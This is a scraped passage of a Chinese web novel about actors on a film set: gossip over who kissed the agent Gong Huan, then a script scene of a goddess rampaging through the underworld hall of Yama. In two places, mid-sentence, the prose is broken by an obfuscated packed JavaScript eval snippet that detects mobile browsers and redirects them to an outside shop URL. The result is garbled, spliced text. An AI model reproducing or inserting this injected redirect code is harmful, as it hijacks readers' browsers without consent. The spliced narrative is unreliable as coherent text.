解决完和萧子重的小别扭,甘惊鸿重整旗鼓,戴上了黑框眼镜,披上了小披风,准备严查这一桩冤假错案,啊不对,是错点鸳鸯案。 刚来的那天她强忍着维持体面,才没表现出对安声失望怨恨的态度,但随着之后几天的观察,她终于在沉默中爆发。 安声实在是不成体统! 他吃饭的时候,把不喜欢吃的菜挑到宫欢碗里,累的时候动不动就凑到宫欢面前撒娇,虽然被宫欢一把推开了,但这种暧昧行为,实在是太过分了! 他怎么能勾搭欢姐!? 甘惊鸿恨恨不已,她手中拿着记录本,详细记下了宫欢和安声之间的具体细节,事实已经非常明显——安声就是那个和宫欢接吻的人! 天理难容! 在签约前,甘惊鸿很早就认识了宫欢,因为宫欢雷厉风行的作风和从不畏惧流言蜚语的态度,让她对宫欢始终有崇拜的滤镜。对萧子重,甘惊鸿是尊重的,而对宫欢,她却是崇拜和仰慕。 宫欢无所不能,呼风唤雨,能掀起流量浪潮,能在风波之上驾驭风浪,她是海中冲浪者,是驾驭自然的女人! 而安声呢,一个跳艳舞的。 甘惊鸿几乎将手里的记录本捏得发皱,目光紧盯着远处的宫欢在给安声整理服装,十分爱怜的眼神。而安声理直气壮地任由宫欢照顾他! 他凭什么! 大概她气压太低,萧子重频频回头看她,平时话多到欠打的人,今天安静如鸡,话不超过五句。 奚亭云在休息间隙,看见甘惊鸿不太对劲,以为是萧子重和她之间的事情还没挑明。他不想大家之间的氛围太僵硬,只好暂时充当一下和事佬的角色。 “你在看什么?”奚亭云走近了,搭话道。 他还没说两句话,一边在吊威亚耍酷乱飞的萧子重双眼瞪大,立即挑眉,加密通讯:【你干什么!!】 奚亭云无语,但还是回:【你没感觉她不太高兴吗?】 萧子重在空中翻身时重心不稳,一下失去了立点,被吊在半空左右晃荡,狼狈得不行,可还是强撑着精神:【你离她远一点,我都离宫欢远远的,别忘了你说的话!】 奚亭云实在不想搭理萧子重,干脆偏头不去看他的加密通话。 甘惊鸿微眯着眼,紧盯着远处的宫欢和安声之间的互动,她暗戳戳地小声道:“我在看,他们的猫腻。” “你是说,安声?” 奚亭云顺着甘惊鸿的目光看过去,绿棚那边除了在半空中胡乱扑腾的萧子重,就是正在聊天的宫欢和安声,两人你一句我一句,不知道在聊些什么话题。 刚来的时候,奚亭云确实对安声有些敌意,他没有分寸,没有边界感,对宫欢的态度暧昧亲昵,不管有没有要勾搭的心思,这样的示好总是很碍眼。 不过后来随着距离拉近,宫欢对待奚亭云的方式与其他人大不一样,奚亭云才有了些被偏爱的感觉,也就不那么敌视其他人。 此刻这么一看,好像又觉得碍眼了。 他附和着甘惊鸿的话:“确实,让人不适。” 甘惊鸿发现有人跟她有同样的想法,当即热情地朝奚亭云投去一眼——是肯定同一战壕里的同志的眼神。 她暗示性地说着八卦:“你知道吗,欢姐前段时间跟一个人亲了。” 奚亭云眉头微挑,面上仍不动声色,“你怎么知道。” “她跟我说了......”甘惊鸿磨着牙,像是在磨刀,“那个人,就在我们中间。” “啊,”奚亭云非常配合地做出惊讶的神态,“那还真是,麻烦呢。” 远处,还吊在天上的萧子重有心无力,他只看见两人视线相交,有微妙的默契。 该死!他和甘惊鸿都还没什么默契呢!!奚亭云他凭什么!? 在几人的眼神大战戏持续十几分钟后,宫欢终于察觉了,她扭头看了眼废物萧子重,又往甘惊鸿那边看了眼,一脸不解。 直到,她看见甘惊鸿怒视安声的眼神。 宫欢脑中顿时警铃大作,回忆起了她之前给甘惊鸿发过的消息。 完蛋。 偏偏安声还在拉着宫欢说话,耷拉着脑袋卖可怜:“欢欢姐,真的不能吃点麻辣烫吗,我保证只吃一口,然后做50个俯卧撑!” 甘惊鸿像是忍无可忍,她气冲冲地要走过来,宫欢眼疾手快地一把推开安声,迎上怒火上头的甘惊鸿一把揽着她往旁边拖着走:“啊呀哈哈哈哈我刚好想起来有事情要跟你说,哈哈哈走走走我们好好聊聊。” “我不走!我要跟他——唔唔唔!!唔唔!?你们不行!” 宫欢死死捂住甘惊鸿的嘴,用尽了全身的力气,无视几人的目光,她强拉硬拽着才把甘惊鸿拽回帐篷里,而后松开手甩了甩发酸的胳膊,不禁感叹,这姑娘跟关清英没少学啊。 甘惊鸿还火在头上,抱着手气呼呼地追问:“欢姐,你怎么不让我问他,你们怎么还能纠缠在一起,他根本配不上你,你绝对不能对他认真,不然那就真的完了。” 我看我要完了。 宫欢头痛不已,她试图向甘惊鸿解释:“不是你想那样。” “你们都亲了!”甘惊鸿说,“怎么不是我想的那样了。” “不是他......”宫欢满脸痛苦,说着就瘫在一张休息椅上,像是失去了所有力气。 “什么不是——不是他??”甘惊鸿忽然反应过来,她愣了几秒,又问出了个关键性问题,“那是谁?” 宫欢胡乱糊弄着:“谁都不是,好了,你少八卦那么多,新角色揣摩的怎么样了,台词会背了吗,理解人物了吗,看过原著没,知道导演的拍摄风格吗,这些都做功课了没。” 宫欢问了一连串的问题,本以为甘惊鸿多少都会有点迟疑,没想到她肯定地说:“都了解了。” 宫欢:“......” 好好好,算她厉害! 后半夜,甘惊鸿追问个不停。和谁亲的,在哪儿亲的,怎么亲的,一共亲了几次,没有一个重复的问题,宫欢被她问得头都要炸了。 最后即使困到不行,甘惊鸿躺在床上睡意朦胧,都仍坚持着问:“...到底是谁啊,欢姐,告诉我吧......” 另一边的床上,宫欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这么一个矛盾风格的人,此刻深深地注视着她,好像她说什么都会答应下来。 于是,甘惊鸿问:“会想我吗?” “会——呃?”萧子重愣了下。 愣神的间隙,甘惊鸿钻进了车里,她降下车窗,探出头来朝他挥手道别,车渐渐开远,萧子重像是忽然想到什么,他忽然大步往前跑,一边追着车子,一边喊:“我会的!甘惊鸿,我会!” 声音被拉远,只能模糊的听见一个会字。 车内,甘惊鸿坐稳了身子,抿着唇笑。 宫欢看了眼后视镜,她有些纳闷:“你们刚才聊什么呢,他还追车叫什么慧慧的,谁是慧慧啊?不会是他圈外女友吧。” “问这个之前,”甘惊鸿轻巧地绕过话题,她凑到前排座椅中间,“你是不是应该先说说,到底是跟谁亲了啊!” 宫欢果断打开了音响,调到最大声,装作听不见。 甘惊鸿学着宫欢平时傲娇的样子哼了一声,躺回了后排座上,却不禁露出甜甜的笑来。 117. (含剧本故事)风雨九州 正式投入拍摄是在一个月后。 三人的武打戏已经练到炉火纯青的地步,导演特地在他们练习的时候试拍了几次,效果亮眼,所以拍摄日程提前安排上了。 【风雨九州】的主线剧情还没拍多少,拍摄进度是根据取景地的行进来调整的,正序剧情刚进行到女主一路降妖除魔结识了人皇男主角,才是篇幅刚刚展开的时候。 突然转变拍摄的剧情节点对演员是个极大的考验。虽说剧本上写得一清二楚,要有什么情绪,要怎么演,可换到现实里,干扰因素就多了。 拍摄前,要先过几遍对手戏。 三人穿戴好了妆发,来到绿棚里做热身。一个个都有些紧张,宫欢跟他们通过气,说千万千万别惹女主演,那是大投资人的人,掉了根头发丝他们都赔不起。 萧子重不以为然。 直到看见女主演来,周围左三圈右三圈围得全是人,拿水杯的,撑伞的,拿外套的助理足足有四五个,主拍摄的导演年近50岁,都要管20岁的女主演叫一声“老师”。 没记错的话,宫欢说这部剧是女主演的第一部戏。 圈里逢人就叫老师,已是大家都默认的行规。 众人团团包围的女主演面容看着稚嫩青涩,妆发造型比奚亭云他们看着还要细节不少,等人进了绿棚,导演指向三人:“这三位就是饰演‘三鬼将’的客串演员,已经提前进组一个多月了,你们这几天磨合一下打戏,都顺手之后我们开拍。” 女主演点点头,看向三人的同时走过来,客气地自我介绍:“你们好,我是金圆儿,等下就麻烦你们了。”她面相圆润,人的形象倒是非常符合名字,圆满完满的风格。 三人互相看了看,没想到女主演这么礼貌。 在宫欢的嘴里,‘女主演’是个嚣张跋扈的性格,连看都不能多看两眼,刚才他们还商量着怎么才能既不用法器碰到女主,又能完成逼真的打戏。 现在感觉也还好嘛。 互相自我介绍握过手后,就是开始准备拍摄的阶段。 绿棚里的工作人员一下多了起来,略显拥挤,再加上导演们的现场调度,更是吵闹得不行。 威亚衣上身,造型师补妆,将每个人的假发包都焊死在头上,确认无误了,导演过来说这部分的拍摄流程。 剧本内容虽然写明了需要拍的剧情,台词也清晰,可很多镜头的拍摄角度演员与导演都需要清楚,双方心里有底才能达到最完美的状态。 主拍摄导演是位年近50岁的女人,她履历丰富,曾参与过四大名著的拍摄指导与监制,来拍【风雨九州】说是大材小用都不为过。 导演将奚亭云三人与金圆儿叫到一起,开始说戏: “你们都知道这部分剧情拍的是‘怒闯阎罗殿’、‘戟灭三鬼将’,我们分为两部分拍摄,一部分是金老师您目前是被人洗去记忆,有意无意地将您往阎罗殿送,前面的所有事情都已经真实经历了,您被各方人士追杀到天涯海角,在一场战役中昏迷,醒来就被黑白无常索了命。” “你一无所知地跟着走,在过奈何桥的时候,桥下有人认出了你,点化了你一句,你没有喝孟婆汤,在前往阎罗殿后遭遇恶意对待,你恢复了那些记忆,你愤恨,你痛苦,你觉得人心叵测,无论善恶,最后都会走向恶,于是你爆发了神力,恢复了之前开天始上神的一部分力量,开始大闹。” 金圆儿认真地听着,偶尔翻一下剧本来确认剧情。她长相是偏圆润随和的,没有艳丽的美貌,也没有独特的气质。网上传出她要出演女主角,骂声从传言一直到拍摄,从不曾间断。 带资进组则就是最为老生常谈的话题。 网上传言,这位半生高光的导演遇上带资进组的主演,必要栽一次跟头。 “我知道了,导演。”金圆儿听完之后,拿笔在剧本上做笔记。 导演一转头又对三人说:“你们三个的部分也非常重要。” 三人顿时打足了精神听。 “‘斩杀三鬼将’这部分剧情起到一个威慑百鬼的作用,所以拍摄过程中,我们会采用非常多的拍摄手法来突出这一点,而除了拍摄外,你们演员的情绪非常重要。” “你们是超脱百鬼成为阎王手下三鬼将的存在,你们是厉鬼,你们的鬼气呼之欲出,”导演双手做出由内而外的手势,她看着三人沉思的表情,“当然,我们后期会做特效,但是你们的神态表情也要跟得上,不然效果大打折扣。” 三人面色严肃,像是把导演的话当做非常严厉的交代。 导演笑笑:“不用这么绷着,演戏要顺其自然,越强求越容易适得其反。” 交代完这些,威圧差不多都准备好了。 金圆儿身上还穿着前期剧情里的服饰,偏侠气的一身束腕装,并没更换,她拿着剧本站在镜头外,吐着气舒缓压力,等导演说可以开始对戏了,才开始。 【 左右两边是黑白无常,赵蘅的手腕脚腕被鬼力所幻化出的锁铐牵制着,走动间步伐缓慢沉重,眼神空洞茫然,像是还没缓过来劲。 “赶紧走!”黑无常推着她,有些不耐烦,“无名无姓,掉落山崖,做个孤魂野鬼还差不多,居然还要我们来收你,真是不知道阎王哪根筋搭错了。” 白无常听他口不择言,忙出声劝阻:“好了好了,别抱怨了,既然是阎王交代的事,必然有他的用意。” 两鬼便不再多说,一左一右跟在赵蘅身后。她仍有些恍惚,只是拖着步子往前走,不知该往哪走,不知该往哪儿去。 她是怎么落到这来的?她是谁? 记忆仿佛全被抽干了,一无所有,连周身感知都变得迟钝缓慢,她浑浑噩噩地被无常带着进了十八炼狱。热浪扑面而来,赵蘅走在一条狭窄的过道上,两边是火红的熔浆炼狱,里面翻滚着刚丢进去的人,哀嚎惨叫的凄厉之声不绝于耳。 魂魄不同于肉身,丢进熔浆中后并不会立刻成灰,而是反复被灼烧,被鬼兵拿着刀枪剑戟戳进熔浆内遭受焚魂之痛。 身后的黑白无常此刻倒不催促她走了,而是刻意放慢速度。两鬼互看一眼,眼中带有戏谑,他们都有意让赵蘅体会这阎罗地狱的可怕。 她并未有太大反应,只是凝视着被熔浆灌注全身的怨鬼们,魂魄被烫起脓包,大大小小长满全身,破开后熔浆溅出,眼珠被热浪烧灼得一大一小,扭曲至极,丑态毕现,怨鬼的狰狞求生之色比她见过所有的事物都要丑陋。 这条路无比漫长。 十八层阎罗地狱,十八种不同折磨,赵蘅皆看过一遍,她未曾流露出惧怕神色,甚至脚步都未停顿半分,哪怕有冤魂扒着她的袍角,哀求着说救救他,她都未曾有半分动容,只是又往前迈了一步。 黑白无常有些惊讶,他们见过的再有权势的人物,走过这‘阎罗鬼路’后,哪个不是腿软发抖,痛苦悔恨前程往事。 可这人如此镇静,倒让二人有几分敬佩。 过了阎罗炼狱,便是忘川河,奈何桥。桥下的黄河血水奔腾不息,河浪卷翻沸腾,仿佛被烧至沸腾的水,桥上有一老妪,穿粗衣布袍,见几人来了,熟练地盛了一碗汤。 汤水递至赵蘅面前,碗口有缺角,汤水澄澈干净,无色无味,像是一碗白水。 “来,喝吧,喝了孟婆汤,旧事全忘却,过了奈何桥,投胎去个好人家吧。”老妪面相虽老,嗓音却不含糊,吐字清晰。 赵蘅低着头看了半响,伸手接过这碗汤,她盯着白水一样的汤看了会,久到让人不耐烦。 黑无常以为她又要像以往那些人似的,到了喝汤的时候,人世间的种种都如走马灯,一下便又不想死了,尘念难断,人最是反复无常。 方才对这人的敬佩一下少了不少,黑无常又催两句:“磨叽什么呢,赶紧喝了!” 赵蘅将有缺口的碗沿对准嘴边,水刚触及她口中,桥下便传来一声感慨。 她身体略顿,黑白无常二人也一同往桥下看去,河浪一潮接一潮,左右翻涌着,一人乘小舟立于河中,任凭浪潮如何扑打,那竹筏制成的扁舟都不曾沉入河中。 那人长相奇怪,面部无眼耳喉鼻,只着土色长袍,有颗头,有身子。 赵蘅不认得他,黑白无常却认得,只叫骂了声:“无相人!你好好架你的船,少来掺和他人的事!” “非也非也,非是鄙人想掺和杂事,”那被叫做无相人的乘船人声音远飘,似有回声,“实乃此人不可收也。” 说着,他又长叹,“天命将世,非人承载,金光普照,是故人来。” 黑无常晃动手中锁链往桥下甩去,漆黑的锁链一路飞至无相人身边,如蛇般将他缠绕紧实,黑无常嗤笑着:“阎王要她死,她便不可能活得下去,你少在这装模作样,再扰我等差事,你可就别想在这河水里当摆渡人了!” 两人争执着口角,赵蘅却将孟婆汤缓缓拿开,最后塞还给了孟婆。, 孟婆不解:“姑娘不喝了?” 赵蘅:“不喝,我本来就什么也不记得。” 这孟婆汤喝不喝倒不重要,黑白无常见她不喝,也不强求,只带着人继续往前走。正常流程来说,鬼差带人过了奈何桥后,该让人投胎了,偶尔有些天生命体特殊之人才需要判官裁决,再特殊点的,那就由阎王来亲自大审。 黑白无常来收赵蘅也是阎王随口一说哪里死了人,要他们去,但此人下落如何安排,还是需要找阎王定夺。 三人来到阎罗殿前,牛头马面立于殿前,判官坐在一侧修改着生死簿,见黑白无常二人带着一人来,皆是不解。 “你们带的谁来,”判官放下朱笔,问道,“未听说今日有鬼魂要审,怎么带到这儿来了。” 白无常行了一礼,说:“大人,此人是阎王要我等去收的,她的去处我等无权干涉,所以还想请大人们判决。” 判官仔细看了看赵蘅,她气质不俗,即使走到这阎罗殿了,满堂的骷髅,闻所未闻的刑具摆满了一桌,她却仍面不改色,只是眼睛扫过那些物件,仿佛在判断用处。 确实不像普通人。 判官略作思索,让几人在这等候,去找了阎王来。 阎王本在□□园赏花看水,听判官一说来了一女子,他懒洋洋地问:“这人叫什么?” “黑白无常不知她名,说是您让他们去收的魂,属下方才在人世簿查了查,她叫赵蘅。” 阎王一听这名,当即清醒过来,大惊:“赵蘅!?真把她给收来了!?” 判官不明所以,只道是。 阎王面上不显,心里却盘算起来。 - 阎罗殿前,堂上所坐的是赤面阎罗,煞气萦绕周身,头带玉冠,肃穆庄严,堂下站着的则就是赵蘅。 “赵蘅,”阎王桌前铺着人世簿,上面只有过某某人士好友赵蘅,并未有赵蘅的单独纪事,也就是她在人世的经历,生死簿上面查不到,“你知道你为何会被带到这来吗?” 一直沉默不语的赵蘅听见有人叫她,才抬起头,直视阎王,她吐出两个字:“不知。” 阎王冷哼一声,面色更沉,他一扬手将桌案上的纸张扔了过来,那纸飘飘扬扬落下来时,赵蘅看见无数个人名,密密麻麻,皆用朱笔画上了死字。 “赵蘅!你杀人无数,嗜血如麻,事到如今竟然还装作一无所知!”阎王震声道,“对得起这些冤魂的死吗!?” “我杀的?”赵蘅反问着,眼神中略有困惑,她眉头微皱,像是喃喃自语,“......我为什么要杀他们?” 她迷茫,无知,不解,看着便是一副好欺负的模样,阎王当即冷脸,一拍桌案唤道:“来人,给她喝下孟婆汤,让她受尽轮回之苦,不得解脱!如此嚣张至极,罪不可赦!” “是!” 四下应和声起,牛头马面,黑白无常皆上阵,将赵蘅团团围绕,步步紧逼,一人端来了孟婆汤,随时准备灌入赵蘅嘴里。 阎罗殿内戾气弥漫,黑压压的氛围叫人喘不过气,血色与黑色交织,唯独赵蘅稳稳站在原地没动,她转眼将众人都看过一遍,又移眼看阎王,脸上没有半分惊慌神色,只是镇定地说:“我不会无故杀人,若我杀了他们,那是他们该死。” “口出狂言!都给我把她摁住!” 黑白无常使出法器,锁链声当即响起,哗啦啦地绕到赵蘅背后,将她手臂迅速捆住锁死,她无法动弹,皱起了眉头。 “你为何非要逼我喝那碗汤。” 赵蘅没有挣扎,牛头端着汤已经递到她嘴边,碗还是那个有缺口的碗,只是里面的‘汤’不再干净,反而变得漆黑浑浊,黏稠得厉害。这孟婆汤怕是被换了。 她虽然记忆暂失,可又不傻,怎么都看得出来这些猫腻。 “我喝下这汤,可会于你有利?”赵蘅如此猜测,没成想惹怒了阎王。 “给我灌下去!!”赤面阎王似是被人正中诡计,当即大怒,地府都不免震上一震,殿内顿时飘起浓重的黑气,,众人都被阎王的气势所压,浑身颤抖着坚持将汤碗塞入赵蘅口中,狠狠将汤灌入她喉间。 噗——赵蘅用力摇头,吐出那些黏稠黑水,她不同他人,不受阎王气焰所压,反而愈发有抗衡之势。她挣扎了两下,试图扭开背后的锁链,却无法撼动。 仿佛是被这些人逼迫推搡着烦了,她也有了脾气,嘴边沾着黏稠汤药,她抬起眼,眼中暗含凌冽:“你们若要再逼我,我真就不知自己会做出什么来了。” “还愣着作甚?”赤面阎王怒喝着一甩袖,“继续灌!” 牛头马面一人抓着她一边肩膀,黑白无常强行抓着赵蘅的散发强迫她抬头,众人的脸都凑到了赵蘅眼前,怪面非人,她一时间生出些荒诞之感,被强迫张开嘴,灌入那些恶心的汤药。 许是激起了火气,赵蘅不知从何而来的气力,一扭身,奋力挣开牛头马面的手,紧接着旋身踢开黑白无常,她披头散发,粗麻布衣难掩其杀气,眉眼压低,冷冷地看着欲上前的牛头马面。 这眼神煞气横生,即使未有鬼气流露,却仍使人心生退意。 牛头马面心生惧意,竟不敢上前,判官呵斥两句,命令黑白无常上前制服:“你们二人将她拿下!” 黑无常的法器锁链仍在赵蘅腕间,他低声念决,那锁链便收紧几分,附着于锁链上的森森鬼气往外飘露,仿若烈焰灼烧着赵蘅魂魄,刺痛感由魂魄深处袭来,她低声闷哼,扭动着手腕想挣脱这东西。 “别白费力了,”黑无常慢慢靠近,黑沉的脸上狰狞不已,“多少凡人被我这锁链所困,无一能逃,何况是你。” 白无常使出法器哭丧棒,法器上下皆布满白布般的羽翼,如伞般展开,‘羽翼’根根分明,寒光毕现,似如数根银针般,趁着黑无常制住赵蘅,白无常丢出法器,单手运决! 哭丧棒悬至半空,朝下重重挥动! 纵使千年厉鬼,遭这哭丧棒一击足以魂飞魄散,哭丧棒落下,重打在赵蘅背部,她痛叫一声,身子就要倒下去,却硬是生生抗住魂魄撕裂的剧痛,她面容痛到扭曲,仍是单膝跪地,不肯倒下,地面被砸出裂纹,可见哭丧棒威力之大。 可更让人心惊的是赵蘅,她竟抗住了这一击。 黑无常见她嘴边溢出鲜血,显然是在死撑着的,他更往前迈近两步,去看赵蘅的死活。 赵蘅猛然抬头,双手不知何时挣开了黑无常的锁链,她迅速起身,反手用锁链捆住黑无常脖颈,将人挟制身前,她冷冷道:“我虽不知你们为何如此憎恨我,一定要我喝下那劳什子孟婆汤,不过,我确定你们都不是良善之辈,也是,这等炼狱里能活下来的,能是什么好人?” “现在,放我走!” 阎王没想到赵蘅没有记忆还能将局面扭转,他面上装作思量的神情,实则手已朝白无常打了个手势。 被困的黑无常挣扎着试图唤回法器,在心里念了十几遍法决,却是毫无回应,好像法器完全失去鬼气,不再认主了。 黑无常大惊失色,他佯装着被挟制的模样,口中念着几句饶命饶命,却也是向白无常求救。 趁着黑无常吸引注意力,阎王也和赵蘅说着话分散她的精力:“来了这阎罗地狱的,没有一个能走出去,你想要离开,那岂不是成了孤魂野鬼。我也不过是想让你喝了孟婆汤,忘却前程往事,好投个胎,做个人,倒是你反应如此之大,可是另有隐情?” “黑白无常说我是从山崖跌落致死,是你——”赵蘅正准备一一说出,身后,白无常忽得一闪身,紧跟着一股巨力袭来,赵蘅警惕心起,敏锐回头一看,哭丧棒迎面打来,正中她面门! 嘭—— 千钧之力袭来,赵蘅不慎防备,被这一棒打飞,砸中了阎罗殿上悬坠的森森白骨又坠落在地,白骨纷纷砸落,将赵蘅深埋其中,鬼差们竞相闪身躲过,连阎王判官都立于一边,免于被掉落的残骸砸中。 偌大的阎罗殿内,一时只有白骨掉落声。 众人屏气安静,一声都不敢吭。不是他们胆小,实在是阎罗殿中从未有凡人敢如此嚣张闹事,这女子胆大妄为,恐怕阎王就要出手,将她灰飞烟灭了。 一些鬼差胆小,窝在角落里不敢喘气。 阎王也是怕的,他紧盯着那白骨堆里的动静,判断刚才白无常那一棍是否打中了赵蘅。他不敢擅自出手,万一这赵蘅是个有来路的,他出手岂不是惹了麻烦。 奈何有人要他必须给赵蘅喝下孟婆汤,他也只得一试。 阎王拍拍判官,指了指白骨堆:“你,你去看看。” 判官不敢不从,他也看出来了,这人来路不明,怕不是普通凡人,但也不能反抗阎王,只得挪着碎步,谨慎小心地上前。 咕噜噜。 白骨堆上的骷髅头滚落下来,众人皆是一惊,紧盯着那堆白骨,见没反应,稍稍安了心。 受了一击哭丧棒,奈她神仙鬼怪,都要吃点苦头,众人很是相信白无常的。 几息间,判官走到了白骨堆前,他屏住气息,探手去测骨堆下的魂魄,似是无所感应,判官轻舒一口气,转过身,对众人伸手摆了摆,做出安抚的手势:“无事无事,都放心吧。” 忽得,地上的几块白骨自顾自动了两下。 牛头惊悚地指着那骨头叫:“大人大人,那骨头有鬼!” 马面抬手狠拍他一记:“我们不就是鬼吗!叫什么鬼!” 众人被两人的话打岔,却不约而同地更紧绷着神经看。 只见判官脸色不妙,他看那地上滚落的白骨皆是剧烈震动着,齐齐朝着骨堆移去,骨堆也紧跟着发出颤意,咯咯咯咯咯咯,骨堆不断震颤着,无数碎骨磕碰着发出令人齿寒的声响。 “不好!” 就在判官当机立断转身跑时,白骨坟堆内部透出一丝丝光亮,像有何种力量在内部凝聚,众鬼来不及反应,便见骨堆上的人骨被内部力量震得分崩离析,碎裂成更细小的骨块,紧接着,白骨坟堆轰然炸开!! 崩开的骨块在阎罗殿内四处飞散,打在众鬼身上,如巨石袭来,一时间鬼哭狼嚎遍地起,阎王怒不可遏,大喝一声:“都给我——” 不待他话音落下,白骨坟堆被冲散后的景象露出,一人狼狈地半趴在地上,周身莹光环绕,她一只手撑着地面,堪堪爬起,有虚弱的笑音传来,赵蘅抬起染血的脸,目中不在是空洞,而是凌然杀意,那杀意曾上斩洪荒巨物,下劈山川河流。 气息威圧一出,众鬼不敌,皆匍匐于地,颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126408|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖着不敢出声。 唯独阎王几人还想再撑一撑,判官与黑白无常躲在阎王身后,个个冷汗直下:“大人,她不是凡人,我们几个敌不过她啊!” 阎王也才看出来,赵蘅那身上法力怕不是寻常之辈,但也只是琢磨着,她估计是哪个小神,小神掉进他这阎罗殿,也别想齐整地走出去。 “你,你究竟是何来头!?” “问你自己吧。”赵蘅站起身来,背仍弯着,那一击哭丧棒,确实让她受了伤。 也不过是一个小神罢了。 阎王低声如同嘶吼,他目露凶光,后退几步,趁着对话的间隙,抬手间周身散出阴森鬼气,隐约间能听见鬼泣声,并以阎王神识向幽冥地狱解开禁锢。 幽冥地狱下镇压与囚禁的百鬼之多,怨气之重,哪怕是天帝来了,都要掉上一块肉。 待感受到幽冥地狱禁锢已开,阎王才露出些阴沉笑意,他带着判官与黑白无常退至阎罗殿外,看着殿内大放威圧。 赵蘅周身气息几乎令整个阎罗殿都在震颤,阎罗殿建成有千万年,早已有神识,如今却惧怕这人的气息。 她究竟是何来路都不重要了,今日,终将陨落于此。 在阎罗王退远后,赵蘅隐约听见远处传来的怨怒嚎叫声,她抽了抽嘴角,抬手平摊,手中即刻幻化出一柄通天神戟,她单手看似轻巧地转动两圈,霎时,殿内物件被风带得四处飞旋砸落,哗啦作响,殿内所余众鬼更是被那神器带动的气息震慑得惊恐不已,个个缩在角落不敢言语。 她都想起来了。 赵蘅单手持戟,一步步走出阎罗殿,殿外黑云压来,百鬼皆现,笑声怒声嘲讽声哭喊声铺天盖地地一涌而来,音波幻化成千般武器万般神兵,直直刺向赵蘅。 她披头散发,面容血迹斑斑,粗衣麻布,她抬头,将黑云间翻涌的百鬼丑态尽入眼底,扯出讽刺笑意。 这些鬼与那些追杀她的人有什么区别,她来人世开太平,人心却不识好歹,妄想驱使她,利用她。 “人,本就该如蝼蚁猪狗,如花草树木,日复一日,年复一年的将世间秩序运转下去,是谁给你们的胆子,竟妄想驱使开天始上神。” 赵蘅开口,蔑视面前愈发逼近的百鬼,她轻笑着,神戟在手中轻转,旋身一挥,法力朝前砍去,数鬼尖啸着魂飞魄散。 远处观察着的阎王暗道不妙,忙催着判官:“鬼将呢,让鬼将都给我去!谁若能斩杀这神使,便能获得她的所有法力,这人法力不低,若为养料,百鬼都能吸食其血肉!” “是,是!” 判官忙不迭施法做阵,法阵旋转于身前,繁复的血色咒文随着阵法旋转。此为唤鬼兵鬼将之法,能将远在天边的鬼差都叫回来。 阎王手下百鬼无数,厉鬼更甚,而脱离这些之上的,怨气极重,不入轮回,不为神遣,古往今来,能为鬼将的,不超五人。 而如今,阎王手下尚存的鬼将仅有三位。 这三位活了千年,还未有败绩。 这边法阵起,那边赵蘅已然大开杀戒。她飞天入云,已不持神戟,神戟有灵识,随她心意护在周围劈鬼杀怪,所过之处鬼怪皆魂飞魄散。 不过眨眼间,她身前杀出了一条血路,迷障灰雾遮掩了视野,那是百鬼未散尽的魂,赵蘅走过时,那烟雾便胆颤地散去,不敢靠近。 赵蘅目标明确,她现在只恢复了一部分的神力,耗尽神力诛杀百鬼虽是可行,却要消耗不少元气,她目的便是杀了那阎王与他的走狗,再迅速离去便可。 思及此,神戟已通心意,随着赵蘅所想去挑起几方厉鬼冤魂的注意力,神戟身上附着了赵蘅的一部分神力,那些厉鬼见之都尽数扑了上去,冤魂厉鬼将神戟围住,露出獠牙鬼眼,想啃噬那诱人神力。 赵蘅趁这机会,闪身穿梭于迷雾间,每有厉鬼扑来,便迅速躲避绕行,几息间,已来至阎王前几步远,当魂魄雾气被赵蘅身上神力驱散,阎王判官才惊觉她竟突破重围,来至眼前。 她神色癫狂,双目满是血色,比那可怖的厉鬼更为震慑,狂发随着奔走的动作散在身后,飘荡如蛇,她眸色逐渐被莹色所覆盖,若有人知晓赵蘅的身份,便会知晓,她正从人的身份,转换为——开天始上神。 两鬼顿时大惊失色,阎王后退几步,惊惶震撼,几乎破音怒道:“——鬼将还不快来!!” “戟来!”赵蘅大喝一声,神戟飞快旋转几圈将扑上来的厉鬼们砍杀殆尽,接着毫不留恋,又精准无比地飞至赵蘅手中,她单手持戟,翻转,劈砍! 那神戟汇聚神力,一击可如开天辟地之势,阎王判官不敌,被神兵威圧所迫,挣扎着分别朝两边滚开。 阎王在这地府千万年,做的是管鬼魂轮回之职,怎么比得上生来就与杀为伴的赵蘅呢。 这一劈落空,砍下后地面迅速出现一条巨大裂隙,几乎透出阎罗地狱下的炼狱之地,滚动的熔浆将落下去的石块尽数吞没。 赵蘅见他们躲开,正想趁机上前索命,她闪至阎王身前,他半趴在地,肥大的身子颤颤巍巍,正欲出手,一旁旋转的血阵突得亮出血光,刺眼至极。 赵蘅刚眯了眯眼,便有股风吹来,她敏锐躲闪,持戟负身而立。 只见血阵中,飘出一柄折扇,扇如利器飞镖,飞出血阵后冲向赵蘅,她闪身不及,一缕发被那扇沿割开,折扇旋转几圈,落回了走出血阵之人的手中。 那人接住折扇,反手展开扇面,扇了几下。这扇面上书人名无数,皆由血写成,上面血色手印密密麻麻,对他来说,仿若战功书。 “‘血扇’!”判官扶起阎王,面容苍白,显然被方才的惊魂时刻吓得不轻,他催道,“杀了这人,她的神力全都归你!” 被叫做血扇之人全身着黑色,没有双脚,漂浮于半空,面容苍白,样貌极好,却是那嘴角一路咧到了耳根,露出森森白齿,他伸舌舔唇,像要嗜血啃肉般,嘴里却说着阴柔生冷的暧昧话:“这位姑娘,爱慕我否?” 判官暗骂一声,这血扇,死于烟花柳巷之地,死后被人残害尸身,可就算这样,还是要耍个鬼风流。 趁着血扇抵挡住赵蘅,判官忙扶着阎王往外走,想趁机溜走。 